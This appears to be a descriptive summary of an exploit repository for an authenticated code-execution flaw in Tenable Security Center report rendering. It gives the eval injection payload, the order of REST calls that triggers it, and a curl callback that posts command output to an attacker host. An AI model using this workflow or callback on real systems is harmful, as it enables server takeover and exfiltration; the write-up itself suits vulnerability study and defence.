Tenable Security Center Report Generation Remote Code Execution

Repository contains a README and a single Python exploit script, `poc.py`. It is a real exploit PoC for CVE-2026-19626 affecting Tenable Security Center report generation. The exploit is authenticated, remote, and specifically intended for non-admin users with report-definition capability. The core capability is RCE during report rendering. The documented primary sink is `ReportChartingLib::substituteParams()`, where `{=...}` expressions in pie-chart legend/label format strings are evaluated with PHP `eval()`. The exploit abuses label substitution order: an attacker creates a group whose name contains a payload such as `{=system('id')}`, then creates a report definition that causes the group name to be inserted into a chart label before the eval loop runs. Launching the report triggers server-side command execution. The README also documents two alternate sinks in the same PHP file: `labelStyling` eval and `barShape` callable abuse. `poc.py` is a purpose-built REST client. It authenticates to `/rest/token`, creates the payload-bearing group, creates a report definition via `/rest/reportDefinition`, launches it via `/rest/reportDefinition/{id}/launch`, and waits for command output. Although the README notes that command output can appear in the rendered report itself, the provided PoC uses a more reliable callback payload invoking `curl -d "$(<cmd>)" http://<attacker_ip>:<port>` so the target POSTs command output back to a temporary HTTP server started by the script. The script also cleans up the created group afterward. Repository structure is minimal and focused: README provides vulnerability analysis, exploitation rationale, patch notes, and lab observations; `poc.py` implements the exploit workflow. No framework affiliation is evident. Overall, this is an operational PoC demonstrating authenticated web/REST-based RCE against vulnerable Tenable SC instances.